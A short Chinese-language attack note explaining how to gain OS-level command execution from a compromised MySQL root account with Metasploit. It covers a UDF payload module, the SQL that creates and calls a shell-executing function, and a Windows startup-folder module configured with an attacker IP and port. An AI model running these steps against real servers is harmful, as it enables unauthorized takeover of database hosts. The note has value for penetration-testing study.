【笔记】MSF实现MySQL提权
前言
MSF实现MySQL提权
漏洞利用前提
- 已经获取了MySQL的root用户密码
- MySQL允许任何IP以root用户登录
- 受害者的MySQL配置文件中没有开启
secure_file_priv
UDF
导出用于提权的插件
<mysql_password>:MySQL的root用户密码<ip_remote>:受害者IP地址<port_remote>:受害者端口号
1 | msf > use exploit/multi/mysql/mysql_udf_payload |
- Windows上
- 如果MySQL版本<5.2,会在
c:\windows\system32\目录下生成一个.dll文件 - 如果MySQL版本>=5.2,会在
mysql\lib\plugins目录下生成一个.dll文件
- 如果MySQL版本<5.2,会在
- Linux上和MacOS上会在
mysql/lib/plugins目录下生成一个.so文件
通过插件创建函数
<file_name>.so:上一步骤导出的dll文件或so文件名
1 | CREATE FUNCTION x RETURNS STRING SONAME '<file_name>.so'; |
查看所有函数
1 | SELECT * FROM mysql.func; |
利用函数以操作系统管理员身份执行Shell命令
<shell>:Shell命令
1 | SELECT x('<shell>'); |
启动项
向Windows启动文件夹写入文件
<mysql_password>:MySQL的root用户密码<ip_remote>:受害者IP地址<ip_local>:攻击者IP地址<ip_port>:攻击者端口号
1 | msf > use exploit/windows/mysql/mysql_start_up |